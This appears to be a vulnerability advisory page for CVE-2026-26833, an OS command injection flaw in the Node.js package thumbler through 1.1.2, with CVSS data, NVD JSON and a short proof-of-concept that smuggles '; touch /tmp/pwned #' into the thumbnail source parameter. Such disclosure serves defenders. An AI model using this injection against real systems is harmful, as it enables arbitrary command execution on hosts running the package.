Security Vulnerability Report
中文
CVE-2026-26833 CVSS 9.8 CRITICAL

CVE-2026-26833

Published: 2026-03-25 16:16:21
Last Modified: 2026-03-30 13:28:03

Description

thumbler through 1.1.2 allows OS command injection via the input, output, time, or size parameter in the thumbnail() function because user input is concatenated into a shell command string passed to child_process.exec() without proper sanitization or escaping.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mmahrous:thumbler:*:*:*:*:*:node.js:*:* - VULNERABLE
thumbler <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const thumbler = require('thumbler'); // Vulnerability: OS Command Injection in thumbler <= 1.1.2 // The 'input', 'output', 'time', or 'size' parameters are concatenated into a shell command. // Malicious payload: "; touch /tmp/pwned #" // The semicolon separates commands, and the hash comments out the rest of the original command. const maliciousInput = 'valid_image.jpg; touch /tmp/pwned #'; const output = 'output.jpg'; console.log('[*] Triggering CVE-2026-26833...'); thumbler.thumbnail({ source: maliciousInput, // Injecting payload via input parameter target: output, width: 200, height: 200 }, function(err) { if (err) { console.log('[-] Error returned (command may have still executed):', err); } else { console.log('[+] Thumbnail generation request processed.'); } });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26833", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:21.390", "lastModified": "2026-03-30T13:28:03.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "thumbler through 1.1.2 allows OS command injection via the input, output, time, or size parameter in the thumbnail() function because user input is concatenated into a shell command string passed to child_process.exec() without proper sanitization or escaping."}, {"lang": "es", "value": "thumbler hasta la versión 1.1.2 permite la inyección de comandos del sistema operativo a través del parámetro input, output, time o size en la función thumbnail() porque la entrada del usuario se concatena en una cadena de comando de shell pasada a child_process.exec() sin la sanitización o el escape adecuados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mmahrous:thumbler:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.1.2", "matchCriteriaId": "030888A9-4BCE-4989-BFAF-19B03EC64507"}]}]}], "references": [{"url": "https://github.com/mmahrous/thumbler", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mmahrous/thumbler/blob/master/lib/thumbler.js", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/zebbernCVE/CVE-2026-26833", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://www.npmjs.com/package/thumbler", "source": "[email protected]", "tags": ["Product"]}]}}